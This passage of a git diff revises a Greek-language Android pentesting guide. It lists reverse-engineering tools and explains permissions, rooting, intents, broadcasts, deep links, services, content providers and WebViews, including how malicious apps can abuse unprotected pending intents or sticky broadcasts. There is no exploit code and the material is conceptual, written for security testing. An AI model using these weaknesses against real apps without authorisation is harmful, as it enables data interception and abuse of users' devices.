είναι κεντραρισμένοι σε ένα αρχείο `rules.json`, και κάθε εταιρεία ή δοκιμαστής θα μπορούσε να δημιουργήσει τους δικούς της κανόνες για να αναλύσει ό,τι χρειάζεται. -Κατεβάστε τα τελευταία δυαδικά από τη [σελίδα λήψης](https://superanalyzer.rocks/download.html) +Κατεβάστε τα τελευταία δυαδικά αρχεία από τη [σελίδα λήψης](https://superanalyzer.rocks/download.html) ``` super-analyzer {apk_file} ``` @@ -657,7 +561,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** είναι ένα **M**obile **A**pplication **R**everse engineering και **A**nalysis Framework. Είναι ένα εργαλείο που συγκεντρώνει κοινώς χρησιμοποιούμενα εργαλεία αντίστροφης μηχανικής και ανάλυσης εφαρμογών κινητών, για να βοηθήσει στη δοκιμή εφαρμογών κινητών ενάντια στις απειλές ασφάλειας κινητών του OWASP. Σκοπός του είναι να διευκολύνει αυτή την εργασία και να την κάνει πιο φιλική προς τους προγραμματιστές εφαρμογών κινητών και τους επαγγελματίες ασφάλειας. +**MARA** είναι ένα **M**obile **A**pplication **R**everse engineering και **A**nalysis Framework. Είναι ένα εργαλείο που συγκεντρώνει κοινώς χρησιμοποιούμενα εργαλεία αντίστροφης μηχανικής και ανάλυσης εφαρμογών κινητών, για να βοηθήσει στη δοκιμή εφαρμογών κινητών ενάντια στις απειλές ασφαλείας OWASP. Σκοπός του είναι να διευκολύνει αυτή την εργασία και να την κάνει πιο φιλική προς τους προγραμματιστές εφαρμογών κινητών και τους επαγγελματίες ασφαλείας. Είναι ικανό να: @@ -690,19 +594,19 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 - φορτώστε έναν πόρο ως InputStream; - τροφοδοτήστε το αποτέλεσμα σε μια κλάση που κληρονομεί από FilterInputStream για να το αποκρυπτογραφήσετε; -- κάντε κάποια άχρηστη απόκρυψη για να σπαταλήσετε μερικά λεπτά χρόνου από έναν αναλυτή; +- κάντε κάποια άχρηστη απόκρυψη για να σπαταλήσετε λίγα λεπτά χρόνου από έναν αναλυτή; - τροφοδοτήστε το αποκρυπτογραφημένο αποτέλεσμα σε ένα ZipInputStream για να αποκτήσετε ένα αρχείο DEX; - τελικά φορτώστε το προκύπτον DEX ως Πόρο χρησιμοποιώντας τη μέθοδο `loadDex`. ### [DeGuard](http://apk-deguard.com) -**Το DeGuard αντιστρέφει τη διαδικασία απόκρυψης που εκτελούν τα εργαλεία απόκρυψης Android. Αυτό επιτρέπει πολλές αναλύσεις ασφάλειας, συμπεριλαμβανομένης της επιθεώρησης κώδικα και της πρόβλεψης βιβλιοθηκών.** +**Το DeGuard αντιστρέφει τη διαδικασία απόκρυψης που εκτελούν τα εργαλεία απόκρυψης Android. Αυτό επιτρέπει πολλές αναλύσεις ασφαλείας, συμπεριλαμβανομένης της επιθεώρησης κώδικα και της πρόβλεψης βιβλιοθηκών.** Μπορείτε να ανεβάσετε ένα αποκρυπτογραφημένο APK στην πλατφόρμα τους. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -Αυτό είναι ένα εργαλείο LLM για να βρείτε τυχόν πιθανές ευπάθειες ασφάλειας σε εφαρμογές android και να αποκωδικοποιήσετε τον κώδικα της εφαρμογής android. Χρησιμοποιεί το δημόσιο API Gemini της Google. +Αυτό είναι ένα εργαλείο LLM για να βρείτε τυχόν πιθανές ευπάθειες ασφαλείας σε εφαρμογές android και να αποκωδικοποιήσετε τον κώδικα της εφαρμογής android. Χρησιμοποιεί το δημόσιο API Gemini της Google. ### [Simplify](https://github.com/CalebFenton/simplify) @@ -710,7 +614,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ### [APKiD](https://github.com/rednaga/APKiD) -Το APKiD σας δίνει πληροφορίες για **το πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακεταριστές**, **αποκρυπτογραφητές** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για Android. +Το APKiD σας δίνει πληροφορίες για **το πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακετάρισμα**, **εργαλεία απόκρυψης** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για Android. ### Manual @@ -720,7 +624,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ### [Androl4b](https://github.com/sh4hin/Androl4b) -Το AndroL4b είναι μια εικονική μηχανή ασφάλειας Android βασισμένη στο ubuntu-mate που περιλαμβάνει τη συλλογή των τελευταίων πλαισίων, tutorials και εργαστηρίων από διάφορους ειδικούς και ερευνητές ασφάλειας για αντίστροφη μηχανική και ανάλυση κακόβουλου λογισμικού. +Το AndroL4b είναι μια εικονική μηχανή ασφαλείας Android βασισμένη στο ubuntu-mate που περιλαμβάνει τη συλλογή των τελευταίων πλαισίων, tutorials και εργαστηρίων από διάφορους ειδικούς ασφαλείας και ερευνητές για αντίστροφη μηχανική και ανάλυση κακόβουλου λογισμικού. ## References diff --git a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md index e16180ab2..c410ea4d3 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -26,9 +26,9 @@ ### Άδειες Όταν εγκαθιστάτε μια **εφαρμογή και ζητά άδειες**, η εφαρμογή ζητά τις άδειες που έχουν ρυθμιστεί στα στοιχεία **`uses-permission`** στο αρχείο **AndroidManifest.xml**. Το στοιχείο **uses-permission** υποδεικνύει το όνομα της ζητούμενης άδειας μέσα στο **attribute name**. Έχει επίσης το **maxSdkVersion** attribute που σταματά να ζητά άδειες σε εκδόσεις υψηλότερες από αυτή που έχει καθοριστεί.\ -Σημειώστε ότι οι εφαρμογές Android δεν χρειάζεται να ζητούν όλες τις άδειες στην αρχή, μπορούν επίσης να **ζητούν άδειες δυναμικά** αλλά όλες οι άδειες πρέπει να είναι **δηλωμένες** στο **μανιφέστο**. +Σημειώστε ότι οι εφαρμογές Android δεν χρειάζεται να ζητούν όλες τις άδειες στην αρχή, μπορούν επίσης να **ζητούν άδειες δυναμικά**, αλλά όλες οι άδειες πρέπει να είναι **δηλωμένες** στο **μανιφέστο**. -Όταν μια εφαρμογή εκθέτει λειτουργικότητα μπορεί να περιορίσει την **πρόσβαση μόνο σε εφαρμογές που έχουν μια συγκεκριμένη άδεια**.\ +Όταν μια εφαρμογή εκθέτει λειτουργικότητα, μπορεί να περιορίσει την **πρόσβαση μόνο σε εφαρμογές που έχουν μια συγκεκριμένη άδεια**.\ Ένα στοιχείο άδειας έχει τρία attributes: - Το **όνομα** της άδειας @@ -44,25 +44,25 @@ Αυτές οι εφαρμογές βρίσκονται γενικά στους καταλόγους **`/system/app`** ή **`/system/priv-app`** και μερικές από αυτές είναι **βελτιστοποιημένες** (μπορεί να μην βρείτε καν το αρχείο `classes.dex`). Αυτές οι εφαρμογές αξίζουν να ελεγχθούν γιατί μερικές φορές εκτελούνται **με πάρα πολλές άδειες** (ως root). - Αυτές που αποστέλλονται με το **AOSP** (Android OpenSource Project) **ROM** -- Προστέθηκαν από τον **κατασκευαστή της συσκευής** +- Προστέθηκαν από τον **κατασκευαστή** της συσκευής - Προστέθηκαν από τον **πάροχο κινητής τηλεφωνίας** (αν αγοράστηκαν από αυτούς) ## Rooting -Για να αποκτήσετε πρόσβαση root σε μια φυσική συσκευή Android, γενικά χρειάζεται να **εκμεταλλευτείτε** 1 ή 2 **ευπάθειες** που συνήθως είναι **συγκεκριμένες** για τη **συσκευή** και **έκδοση**.\ +Για να αποκτήσετε πρόσβαση root σε μια φυσική συσκευή Android, γενικά χρειάζεται να **εκμεταλλευτείτε** 1 ή 2 **ευπάθειες** που συνήθως είναι **συγκεκριμένες** για τη **συσκευή** και την **έκδοση**.\ Αφού η εκμετάλλευση έχει λειτουργήσει, συνήθως το δυαδικό `su` του Linux αντιγράφεται σε μια τοποθεσία που καθορίζεται στη μεταβλητή PATH του χρήστη όπως `/system/xbin`. -Αφού ρυθμιστεί το δυαδικό su, χρησιμοποιείται μια άλλη εφαρμογή Android για να αλληλεπιδράσει με το δυαδικό `su` και να **επεξεργαστεί αιτήματα για πρόσβαση root** όπως **Superuser** και **SuperSU** (διαθέσιμα στο Google Play store). +Αφού το δυαδικό su έχει ρυθμιστεί, χρησιμοποιείται μια άλλη εφαρμογή Android για να αλληλεπιδράσει με το δυαδικό `su` και να **επεξεργαστεί αιτήματα για πρόσβαση root** όπως **Superuser** και **SuperSU** (διαθέσιμα στο Google Play store). > [!CAUTION] > Σημειώστε ότι η διαδικασία rooting είναι πολύ επικίνδυνη και μπορεί να προκαλέσει σοβαρή ζημιά στη συσκευή. ### ROMs -Είναι δυνατόν να **αντικαταστήσετε το OS εγκαθιστώντας ένα προσαρμοσμένο firmware**. Κάνοντας αυτό είναι δυνατό να επεκτείνετε τη χρησιμότητα μιας παλιάς συσκευής, να παρακάμψετε περιορισμούς λογισμικού ή να αποκτήσετε πρόσβαση στον τελευταίο κώδικα Android.\ +Είναι δυνατόν να **αντικαταστήσετε το OS εγκαθιστώντας ένα προσαρμοσμένο firmware**. Κάνοντας αυτό, είναι δυνατό να επεκτείνετε τη χρησιμότητα μιας παλιάς συσκευής, να παρακάμψετε περιορισμούς λογισμικού ή να αποκτήσετε πρόσβαση στον τελευταίο κώδικα Android.\ **OmniROM** και **LineageOS** είναι δύο από τα πιο δημοφιλή firmware που χρησιμοποιούνται. -Σημειώστε ότι **δεν είναι πάντα απαραίτητο να κάνετε root τη συσκευή** για να εγκαταστήσετε ένα προσαρμοσμένο firmware. **Ορισμένοι κατασκευαστές επιτρέπουν** την ξεκλείδωση των bootloaders τους με καλά τεκμηριωμένο και ασφαλή τρόπο. +Σημειώστε ότι **δεν είναι πάντα απαραίτητο να κάνετε root τη συσκευή** για να εγκαταστήσετε ένα προσαρμοσμένο firmware. **Ορισμένοι κατασκευαστές επιτρέπουν** την ξεκλείδωσή των bootloaders τους με έναν καλά τεκμηριωμένο και ασφαλή τρόπο. ### Επιπτώσεις @@ -110,11 +110,11 @@ - Για να αποκτήσει πρόσβαση σε δεδομένα μέσω ContentProviders - Ως callbacks για να χειριστεί γεγονότα -Αν είναι ευάλωτα, **τα Intents μπορούν να χρησιμοποιηθούν για να εκτελέσουν μια ποικιλία επιθέσεων**. +Αν είναι ευάλωτα, **τα Intents μπορούν να χρησιμοποιηθούν για την εκτέλεση διαφόρων επιθέσεων**. ### Intent-Filter -**Τα Intent Filters** καθορίζουν **πώς μια δραστηριότητα, υπηρεσία ή Broadcast Receiver μπορεί να αλληλεπιδράσει με διάφορους τύπους Intents**. Βασικά, περιγράφουν τις δυνατότητες αυτών των στοιχείων, όπως ποιες ενέργειες μπορούν να εκτελούν ή τους τύπους ραδιοφωνικών εκπομπών που μπορούν να επεξεργαστούν. Ο κύριος χώρος για να δηλωθούν αυτά τα φίλτρα είναι μέσα στο **AndroidManifest.xml αρχείο**, αν και για τους Broadcast Receivers, η κωδικοποίησή τους είναι επίσης μια επιλογή. +**Τα Intent Filters** καθορίζουν **πώς μια δραστηριότητα, υπηρεσία ή Broadcast Receiver μπορεί να αλληλεπιδράσει με διάφορους τύπους Intents**. Ουσιαστικά, περιγράφουν τις δυνατότητες αυτών των στοιχείων, όπως ποιες ενέργειες μπορούν να εκτελέσουν ή τους τύπους ραδιοφωνικών εκπομπών που μπορούν να επεξεργαστούν. Ο κύριος χώρος για να δηλωθούν αυτά τα φίλτρα είναι μέσα στο **AndroidManifest.xml αρχείο**, αν και για τους Broadcast Receivers, η κωδικοποίησή τους είναι επίσης μια επιλογή. Τα Intent Filters αποτελούνται από κατηγορίες, ενέργειες και φίλτρα δεδομένων, με τη δυνατότητα να περιλαμβάνουν επιπλέον μεταδεδομένα. Αυτή η ρύθμιση επιτρέπει στα στοιχεία να χειρίζονται συγκεκριμένα Intents που ταιριάζουν με τα δηλωμένα κριτήρια. @@ -145,7 +145,7 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:")); ``` Ένα intent-filter πρέπει να ταιριάζει με την **ενέργεια**, **δεδομένα** και **κατηγορία** για να λάβει ένα μήνυμα. -Η διαδικασία "Επίλυσης Intent" καθορίζει ποια εφαρμογή θα λάβει κάθε μήνυμα. Αυτή η διαδικασία εξετάζει το **χαρακτηριστικό προτεραιότητας**, το οποίο μπορεί να οριστεί στην **δήλωση intent-filter**, και **αυτό με την υψηλότερη προτεραιότητα θα επιλεγεί**. Αυτή η προτεραιότητα μπορεί να οριστεί μεταξύ -1000 και 1000 και οι εφαρμογές μπορούν να χρησιμοποιήσουν την τιμή `SYSTEM_HIGH_PRIORITY`. Εάν προκύψει μια **σύγκρουση**, εμφανίζεται ένα παράθυρο "επιλογής" ώστε ο **χρήστης να αποφασίσει**. +Η διαδικασία "Επίλυσης Intent" καθορίζει ποια εφαρμογή θα λάβει κάθε μήνυμα. Αυτή η διαδικασία εξετάζει το **χαρακτηριστικό προτεραιότητας**, το οποίο μπορεί να οριστεί στην **δήλωση intent-filter**, και **αυτό με την υψηλότερη προτεραιότητα θα επιλεγεί**. Αυτή η προτεραιότητα μπορεί να οριστεί μεταξύ -1000 και 1000 και οι εφαρμογές μπορούν να χρησιμοποιήσουν την τιμή `SYSTEM_HIGH_PRIORITY`. Εάν προκύψει μια **σύγκρουση**, εμφανίζεται ένα παράθυρο "chooser" ώστε ο **χρήστης να αποφασίσει**. ### Ρητές Intents @@ -161,30 +161,30 @@ context.startService(intent); ``` ### Pending Intents -Αυτά επιτρέπουν σε άλλες εφαρμογές να **εκτελούν ενέργειες εκ μέρους της εφαρμογής σας**, χρησιμοποιώντας την ταυτότητα και τις άδειες της εφαρμογής σας. Για την κατασκευή ενός Pending Intent θα πρέπει να **καθοριστεί μια πρόθεση και η ενέργεια που θα εκτελεστεί**. Εάν η **δηλωμένη πρόθεση δεν είναι Explicit** (δεν δηλώνει ποια πρόθεση μπορεί να την καλέσει) μια **κακόβουλη εφαρμογή θα μπορούσε να εκτελέσει την δηλωμένη ενέργεια** εκ μέρους της εφαρμογής-θύματος. Επιπλέον, **εάν δεν καθοριστεί κάποια ενέργεια**, η κακόβουλη εφαρμογή θα είναι σε θέση να εκτελέσει **οποιαδήποτε ενέργεια εκ μέρους της θύματος**. +Αυτά επιτρέπουν σε άλλες εφαρμογές να **εκτελούν ενέργειες εκ μέρους της εφαρμογής σας**, χρησιμοποιώντας την ταυτότητα και τις άδειες της εφαρμογής σας. Για να κατασκευάσετε ένα Pending Intent, θα πρέπει να **καθοριστεί μια πρόθεση και η ενέργεια που θα εκτελεστεί**. Εάν η **δηλωμένη πρόθεση δεν είναι Explicit** (δεν δηλώνει ποια πρόθεση μπορεί να την καλέσει), μια **κακόβουλη εφαρμογή θα μπορούσε να εκτελέσει την δηλωμένη ενέργεια** εκ μέρους της εφαρμογής-θύματος. Επιπλέον, **εάν δεν καθοριστεί κάποια ενέργεια**, η κακόβουλη εφαρμογή θα είναι σε θέση να εκτελέσει **οποιαδήποτε ενέργεια εκ μέρους του θύματος**. ### Broadcast Intents -Σε αντίθεση με τις προηγούμενες προθέσεις, οι οποίες γίνονται δεκτές μόνο από μία εφαρμογή, οι broadcast intents **μπορούν να γίνουν δεκτές από πολλές εφαρμογές**. Ωστόσο, από την έκδοση API 14, είναι **δυνατό να καθοριστεί η εφαρμογή που θα πρέπει να λάβει** το μήνυμα χρησιμοποιώντας το Intent.setPackage. +Σε αντίθεση με τις προηγούμενες προθέσεις, οι οποίες γίνονται δεκτές μόνο από μία εφαρμογή, οι broadcast intents **μπορούν να γίνουν δεκτές από πολλές εφαρμογές**. Ωστόσο, από την έκδοση API 14, είναι **δυνατό να καθοριστεί η εφαρμογή που θα λάβει** το μήνυμα χρησιμοποιώντας το Intent.set Package. Εναλλακτικά, είναι επίσης δυνατό να **καθοριστεί μια άδεια κατά την αποστολή του broadcast**. Η εφαρμογή παραλήπτης θα χρειαστεί να έχει αυτή την άδεια. Υπάρχουν **δύο τύποι** Broadcasts: **Normal** (ασύγχρονα) και **Ordered** (σύγχρονα). Η **σειρά** βασίζεται στην **ρυθμισμένη προτεραιότητα εντός του στοιχείου παραλήπτη**. **Κάθε εφαρμογή μπορεί να επεξεργαστεί, να μεταφέρει ή να απορρίψει το Broadcast.** Είναι δυνατό να **σταλεί** ένα **broadcast** χρησιμοποιώντας τη λειτουργία `sendBroadcast(intent, receiverPermission)` από την κλάση `Context`.\ -Μπορείτε επίσης να χρησιμοποιήσετε τη λειτουργία **`sendBroadcast`** από τον **`LocalBroadCastManager`** που διασφαλίζει ότι το **μήνυμα δεν θα φύγει ποτέ από την εφαρμογή**. Χρησιμοποιώντας αυτό δεν θα χρειαστεί καν να εξάγετε ένα συστατικό παραλήπτη. +Μπορείτε επίσης να χρησιμοποιήσετε τη λειτουργία **`sendBroadcast`** από τον **`LocalBroadCastManager`** που διασφαλίζει ότι το **μήνυμα δεν θα φύγει ποτέ από την εφαρμογή**. Χρησιμοποιώντας αυτό, δεν θα χρειαστεί καν να εξάγετε ένα συστατικό παραλήπτη. ### Sticky Broadcasts -Αυτού του είδους τα Broadcasts **μπορούν να προσπελαστούν πολύ μετά την αποστολή τους**.\ -Αυτά έχουν αποσυρθεί στην έκδοση API 21 και συνιστάται να **μην τα χρησιμοποιείτε**.\ +Αυτού του είδους οι Broadcasts **μπορούν να προσπελαστούν πολύ μετά την αποστολή τους**.\ +Αυτά καταργήθηκαν στην έκδοση API 21 και συνιστάται να **μην τα χρησιμοποιείτε**.\ **Επιτρέπουν σε οποιαδήποτε εφαρμογή να υποκλέψει τα δεδομένα, αλλά και να τα τροποποιήσει.** Εάν βρείτε λειτουργίες που περιέχουν τη λέξη "sticky" όπως **`sendStickyBroadcast`** ή **`sendStickyBroadcastAsUser`**, **ελέγξτε τον αντίκτυπο και προσπαθήστε να τις αφαιρέσετε**. ## Deep links / URL schemes -Στις εφαρμογές Android, οι **deep links** χρησιμοποιούνται για να ξεκινήσουν μια ενέργεια (Intent) απευθείας μέσω μιας διεύθυνσης URL. Αυτό γίνεται δηλώνοντας ένα συγκεκριμένο **URL scheme** εντός μιας δραστηριότητας. Όταν μια συσκευή Android προσπαθεί να **πρόσβαση σε μια διεύθυνση URL με αυτό το scheme**, η καθορισμένη δραστηριότητα εντός της εφαρμογής εκκινείται. +Στις εφαρμογές Android, οι **deep links** χρησιμοποιούνται για να ξεκινήσουν μια ενέργεια (Intent) απευθείας μέσω ενός URL. Αυτό γίνεται δηλώνοντας ένα συγκεκριμένο **URL scheme** εντός μιας δραστηριότητας. Όταν μια συσκευή Android προσπαθεί να **προσεγγίσει ένα URL με αυτό το scheme**, η καθορισμένη δραστηριότητα εντός της εφαρμογής εκκινείται. Το scheme πρέπει να δηλωθεί στο **`AndroidManifest.xml`** αρχείο: ```xml @@ -221,7 +221,7 @@ android:host="example" ### Βασικές Έννοιες -- **Δεσμευμένες Υπηρεσίες**: Αυτές οι υπηρεσίες χρησιμοποιούν την AIDL για IPC, επιτρέποντας σε δραστηριότητες ή συστατικά να συνδεθούν σε μια υπηρεσία, να κάνουν αιτήματα και να λαμβάνουν απαντήσεις. Η μέθοδος `onBind` στην κλάση της υπηρεσίας είναι κρίσιμη για την έναρξη της αλληλεπίδρασης, καθιστώντας την μια ζωτική περιοχή για έλεγχο ασφαλείας στην αναζήτηση ευπαθειών. +- **Δεσμευμένες Υπηρεσίες**: Αυτές οι υπηρεσίες χρησιμοποιούν την AIDL για IPC, επιτρέποντας σε δραστηριότητες ή συστατικά να συνδεθούν με μια υπηρεσία, να κάνουν αιτήματα και να λαμβάνουν απαντήσεις. Η μέθοδος `onBind` στην κλάση της υπηρεσίας είναι κρίσιμη για την έναρξη της αλληλεπίδρασης, καθιστώντας την μια ζωτική περιοχή για έλεγχο ασφαλείας στην αναζήτηση ευπαθειών. - **Messenger**: Λειτουργώντας ως δεσμευμένη υπηρεσία, ο Messenger διευκολύνει την IPC με έμφαση στην επεξεργασία δεδομένων μέσω της μεθόδου `onBind`. Είναι απαραίτητο να εξετάσετε αυτή τη μέθοδο προσεκτικά για οποιαδήποτε μη ασφαλή διαχείριση δεδομένων ή εκτέλεση ευαίσθητων συναρτήσεων. @@ -229,14 +229,14 @@ android:host="example" ## Συστατικά -Αυτά περιλαμβάνουν: **Δραστηριότητες, Υπηρεσίες, Δέκτες Εκπομπών και Παροχείς.** +Αυτά περιλαμβάνουν: **Δραστηριότητες, Υπηρεσίες, Δέκτες Εκπομπών και Παρόχους.** ### Δραστηριότητα Εκκίνησης και άλλες δραστηριότητες -Στις εφαρμογές Android, οι **δραστηριότητες** είναι σαν οθόνες, που δείχνουν διάφορα μέρη της διεπαφής χρήστη της εφαρμογής. Μια εφαρμογή μπορεί να έχει πολλές δραστηριότητες, καθεμία από τις οποίες παρουσιάζει μια μοναδική οθόνη στον χρήστη. +Στις εφαρμογές Android, οι **δραστηριότητες** είναι σαν οθόνες, που δείχνουν διαφορετικά μέρη της διεπαφής χρήστη της εφαρμογής. Μια εφαρμογή μπορεί να έχει πολλές δραστηριότητες, καθεμία από τις οποίες παρουσιάζει μια μοναδική οθόνη στον χρήστη. -Η **δραστηριότητα εκκίνησης** είναι η κύρια πύλη σε μια εφαρμογή, που εκκινείται όταν πατάτε το εικονίδιο της εφαρμογής. Είναι καθορισμένη στο αρχείο manifest της εφαρμογής με συγκεκριμένα MAIN και LAUNCHER intents: -```markup +Η **δραστηριότητα εκκίνησης** είναι η κύρια πύλη σε μια εφαρμογή, που εκκινείται όταν πατάτε το εικονίδιο της εφαρμογής. Είναι καθορισμένη στο αρχείο μανιφέστ της εφαρμογής με συγκεκριμένα MAIN και LAUNCHER intents: +```html @@ -244,7 +244,7 @@ android:host="example" ``` -Όχι όλες οι εφαρμογές χρειάζονται μια δραστηριότητα εκκίνησης, ειδικά αυτές χωρίς διεπαφή χρήστη, όπως οι υπηρεσίες παρασκηνίου. +Όχι όλες οι εφαρμογές χρειάζονται μια δραστηριότητα εκκίνησης, ειδικά αυτές χωρίς διεπαφή χρήστη, όπως οι υπηρεσίες φόντου. Οι δραστηριότητες μπορούν να είναι διαθέσιμες σε άλλες εφαρμογές ή διεργασίες σημειώνοντάς τες ως "exported" στο μανιφέστο. Αυτή η ρύθμιση επιτρέπει σε άλλες εφαρμογές να ξεκινούν αυτή τη δραστηριότητα: ```markdown @@ -278,7 +278,7 @@ super.onCreate(); Οι υπηρεσίες είναι ευέλικτες; μπορούν να ξεκινήσουν με διάφορους τρόπους, με τις **Intents** να είναι η κύρια μέθοδος για την εκκίνηση τους ως σημείο εισόδου μιας εφαρμογής. Μόλις ξεκινήσει μια υπηρεσία χρησιμοποιώντας τη μέθοδο `startService`, η μέθοδος `onStart` ενεργοποιείται και συνεχίζει να εκτελείται μέχρι να κληθεί ρητά η μέθοδος `stopService`. Εναλλακτικά, αν ο ρόλος μιας υπηρεσίας εξαρτάται από μια ενεργή σύνδεση πελάτη, χρησιμοποιείται η μέθοδος `bindService` για τη σύνδεση του πελάτη με την υπηρεσία, ενεργοποιώντας τη μέθοδο `onBind` για τη μεταφορά δεδομένων. -Μια ενδιαφέρουσα εφαρμογή των υπηρεσιών περιλαμβάνει την αναπαραγωγή μουσικής παρασκηνίου ή την ανάκτηση δεδομένων δικτύου χωρίς να εμποδίζεται η αλληλεπίδραση του χρήστη με μια εφαρμογή. Επιπλέον, οι υπηρεσίες μπορούν να γίνουν προσβάσιμες σε άλλες διεργασίες στην ίδια συσκευή μέσω **εξαγωγής**. Αυτό δεν είναι η προεπιλεγμένη συμπεριφορά και απαιτεί ρητή ρύθμιση στο αρχείο Android Manifest: +Μια ενδιαφέρουσα εφαρμογή των υπηρεσιών περιλαμβάνει την αναπαραγωγή μουσικής παρασκηνίου ή την ανάκτηση δεδομένων δικτύου χωρίς να εμποδίζεται η αλληλεπίδραση του χρήστη με μια εφαρμογή. Επιπλέον, οι υπηρεσίες μπορούν να γίνουν προσβάσιμες σε άλλες διεργασίες στην ίδια συσκευή μέσω **εξαγωγής**. Αυτή δεν είναι η προεπιλεγμένη συμπεριφορά και απαιτεί ρητή ρύθμιση στο αρχείο Android Manifest: ```xml ``` @@ -286,11 +286,11 @@ super.onCreate(); **Broadcast receivers** λειτουργούν ως ακροατές σε ένα σύστημα μηνυμάτων, επιτρέποντας σε πολλές εφαρμογές να ανταποκριθούν στα ίδια μηνύματα από το σύστημα. Μια εφαρμογή μπορεί να **καταχωρήσει έναν δέκτη** με **δύο κύριους τρόπους**: μέσω του **Manifest** της εφαρμογής ή **δυναμικά** μέσα στον κώδικα της εφαρμογής μέσω του **`registerReceiver`** API. Στο Manifest, οι εκπομπές φιλτράρονται με άδειες, ενώ οι δυναμικά καταχωρημένοι δέκτες μπορούν επίσης να καθορίσουν άδειες κατά την καταχώρηση. -**Intent filters** είναι κρίσιμα και στις δύο μεθόδους καταχώρησης, καθορίζοντας ποιες εκπομπές ενεργοποιούν τον δέκτη. Μόλις σταλεί μια αντίστοιχη εκπομπή, η μέθοδος **`onReceive`** του δέκτη καλείται, επιτρέποντας στην εφαρμογή να αντιδράσει αναλόγως, όπως η προσαρμογή της συμπεριφοράς σε απάντηση σε μια ειδοποίηση χαμηλής μπαταρίας. +**Intent filters** είναι κρίσιμα και στους δύο τρόπους καταχώρησης, καθορίζοντας ποιες εκπομπές ενεργοποιούν τον δέκτη. Μόλις σταλεί μια αντίστοιχη εκπομπή, η μέθοδος **`onReceive`** του δέκτη καλείται, επιτρέποντας στην εφαρμογή να αντιδράσει ανάλογα, όπως προσαρμόζοντας τη συμπεριφορά της σε μια ειδοποίηση χαμηλής μπαταρίας. Οι εκπομπές μπορεί να είναι είτε **ασύγχρονες**, φτάνοντας σε όλους τους δέκτες χωρίς σειρά, είτε **σύγχρονες**, όπου οι δέκτες λαμβάνουν την εκπομπή με βάση καθορισμένες προτεραιότητες. Ωστόσο, είναι σημαντικό να σημειωθεί ο πιθανός κίνδυνος ασφαλείας, καθώς οποιαδήποτε εφαρμογή μπορεί να δώσει προτεραιότητα στον εαυτό της για να παρεμποδίσει μια εκπομπή. -Για να κατανοήσετε τη λειτουργικότητα ενός δέκτη, αναζητήστε τη μέθοδο **`onReceive`** μέσα στην κλάση του. Ο κώδικας αυτής της μεθόδου μπορεί να χειριστεί το ληφθέν Intent, υπογραμμίζοντας την ανάγκη για επικύρωση δεδομένων από τους δέκτες, ειδικά σε **Ordered Broadcasts**, οι οποίες μπορούν να τροποποιήσουν ή να απορρίψουν το Intent. +Για να κατανοήσετε τη λειτουργία ενός δέκτη, αναζητήστε τη μέθοδο **`onReceive`** μέσα στην κλάση του. Ο κώδικας αυτής της μεθόδου μπορεί να χειριστεί το ληφθέν Intent, υπογραμμίζοντας την ανάγκη για επικύρωση δεδομένων από τους δέκτες, ειδικά σε **Ordered Broadcasts**, οι οποίες μπορούν να τροποποιήσουν ή να απορρίψουν το Intent. ### Content Provider @@ -298,7 +298,7 @@ super.onCreate(); Η επικύρωση εισόδου είναι πρωταρχικής σημασίας για την αποφυγή ευπαθειών, όπως η SQL injection. Οι Content Providers υποστηρίζουν βασικές λειτουργίες: `insert()`, `update()`, `delete()`, και `query()`, διευκολύνοντας τη χειρισμό και την κοινή χρήση δεδομένων μεταξύ εφαρμογών. -**FileProvider**, ένας εξειδικευμένος Content Provider, εστιάζει στην ασφαλή κοινή χρήση αρχείων. Ορίζεται στο manifest της εφαρμογής με συγκεκριμένα χαρακτηριστικά για τον έλεγχο πρόσβασης σε φακέλους, που δηλώνονται με `android:exported` και `android:resource` που δείχνουν στις ρυθμίσεις φακέλων. Συνιστάται προσοχή κατά την κοινή χρήση καταλόγων για την αποφυγή της τυχαίας έκθεσης ευαίσθητων δεδομένων. +**FileProvider**, ένας εξειδικευμένος Content Provider, επικεντρώνεται στην ασφαλή κοινή χρήση αρχείων. Ορίζεται στο manifest της εφαρμογής με συγκεκριμένα χαρακτηριστικά για τον έλεγχο πρόσβασης σε φακέλους, που δηλώνονται με `android:exported` και `android:resource` που δείχνουν στις ρυθμίσεις φακέλων. Συνιστάται προσοχή κατά την κοινή χρήση καταλόγων για την αποφυγή της τυχαίας έκθεσης ευαίσθητων δεδομένων. Example manifest declaration for FileProvider: ```xml @@ -332,11 +332,11 @@ WebViews είναι σαν **μικροί περιηγητές ιστού** μέ Ένα βασικό σημείο είναι ότι οι περιηγητές WebView **δεν μοιράζονται cookies** με τον κύριο περιηγητή της συσκευής. -Για τη φόρτωση περιεχομένου, είναι διαθέσιμες μέθοδοι όπως `loadUrl`, `loadData` και `loadDataWithBaseURL`. Είναι κρίσιμο να διασφαλιστεί ότι αυτές οι διευθύνσεις URL ή τα αρχεία είναι **ασφαλή προς χρήση**. Οι ρυθμίσεις ασφαλείας μπορούν να διαχειριστούν μέσω της κλάσης `WebSettings`. Για παράδειγμα, η απενεργοποίηση της JavaScript με `setJavaScriptEnabled(false)` μπορεί να αποτρέψει επιθέσεις XSS. +Για τη φόρτωση περιεχομένου, είναι διαθέσιμες μέθοδοι όπως `loadUrl`, `loadData`, και `loadDataWithBaseURL`. Είναι κρίσιμο να διασφαλιστεί ότι αυτές οι διευθύνσεις URL ή τα αρχεία είναι **ασφαλή προς χρήση**. Οι ρυθμίσεις ασφαλείας μπορούν να διαχειριστούν μέσω της κλάσης `WebSettings`. Για παράδειγμα, η απενεργοποίηση της JavaScript με `setJavaScriptEnabled(false)` μπορεί να αποτρέψει επιθέσεις XSS. Η JavaScript "Bridge" 